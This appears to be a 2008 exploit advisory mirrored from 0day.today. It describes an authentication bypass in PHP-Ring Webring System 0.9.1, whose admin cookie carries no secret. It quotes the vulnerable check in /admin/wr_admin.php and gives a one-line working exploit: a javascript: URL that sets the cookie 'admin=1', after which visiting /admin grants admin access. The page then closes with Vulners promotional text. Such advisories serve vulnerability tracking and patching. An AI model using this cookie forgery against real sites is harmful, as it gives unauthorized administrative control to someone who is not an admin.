Lucene search
K

PHP-Ring Webring System 0.9.1 Insecure Cookie Handling Vulnerability

🗓️ 10 Aug 2008 00:00:00Reported by 0day Today TeamType 
zdt
 zdt
🔗 0day.today👁 20 Views

PHP-Ring Webring 0.9.1 Cookie Vulnerabilit

Code
====================================================================
PHP-Ring Webring System 0.9.1 Insecure Cookie Handling Vulnerability
====================================================================



-------
DESCRIPTION:
PHP-Ring Webring System , suffers from insecure cookie handling, when a admin login is successfull the script creates
a cookie to show the rest of the admin area the user is already logged in. the bad thing is the cookie doesnt
contain any password or anything alike, therefor we can craft a admin cookie and make it look like we are
logged in as a legit admin.
---
vuln code in /admin/wr_admin.php

$cookie = $_COOKIE[admin]; //check for cookie

if (($cookie == "" OR $_GET[stop] == 1 OR !is_admin($cookie)) && $_GET[op] != "login" && $_GET[op] != "logout") {
    include("../templates/wr_header.php");
    echo "Enter admin username and password to log in";
    ....
    ....
    ..
    } else {
function adminhome() // load admin settings

---
exploit:
javascript:document.cookie = "admin=1; path=/";
-----
now visit /admin and  you can get admin access and manage the cms ;)
-------



#  0day.today [2018-01-02]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation